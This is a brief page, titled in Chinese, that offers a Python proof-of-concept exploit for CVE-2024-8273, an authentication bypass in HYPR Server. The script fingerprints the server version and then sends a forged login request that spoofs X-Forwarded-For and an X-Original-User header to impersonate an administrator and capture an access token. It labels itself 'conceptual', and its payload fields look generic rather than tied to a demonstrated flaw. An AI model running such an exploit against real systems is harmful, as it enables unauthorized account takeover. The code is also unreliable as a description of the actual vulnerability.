CVE-2024-8273: HYPR Server身份验证绕过漏洞

# CVE-2024-8273 PoC - HYPR Server Authentication Bypass # Note: This is a conceptual PoC framework for educational purposes only import requests import json from urllib.parse import urljoin def check_vulnerability(target_url): """ Check if target HYPR Server is vulnerable to CVE-2024-8273 """ # Step 1: Identify target version version_url = urljoin(target_url, "/api/v1/version") try: response = requests.get(version_url, timeout=10) version_data = response.json() version = version_data.get('version', '') # Check if version is before 10.1 major, minor = map(int, version.split('.')[:2]) if major < 10 or (major == 10 and minor < 1): print(f"[+] Target version {version} is potentially vulnerable") else: print(f"[-] Target version {version} is not vulnerable") return False except: print("[-] Could not determine version") # Step 2: Attempt authentication bypass auth_url = urljoin(target_url, "/api/v1/auth") # Craft malicious authentication request # Attack vector: Spoofed authentication token headers = { 'Content-Type': 'application/json', 'X-Forwarded-For': '127.0.0.1', 'X-Original-User': 'admin' # Target user to impersonate } payload = { 'username': '[email protected]', 'auth_method': 'spoofed_token', 'spoofed_identity': 'admin', 'token': 'malicious_auth_token' } try: response = requests.post(auth_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: result = response.json() if result.get('authenticated') and result.get('user') == 'admin': print("[+] Authentication bypass successful!") print(f"[+] Gained access as: {result.get('user')}") print(f"[+] Access token: {result.get('access_token')}") return True print("[-] Authentication bypass failed") return False except Exception as e: print(f"[-] Error: {e}") return False # Usage if __name__ == "__main__": target = "https://vulnerable-hypr-server.com" check_vulnerability(target)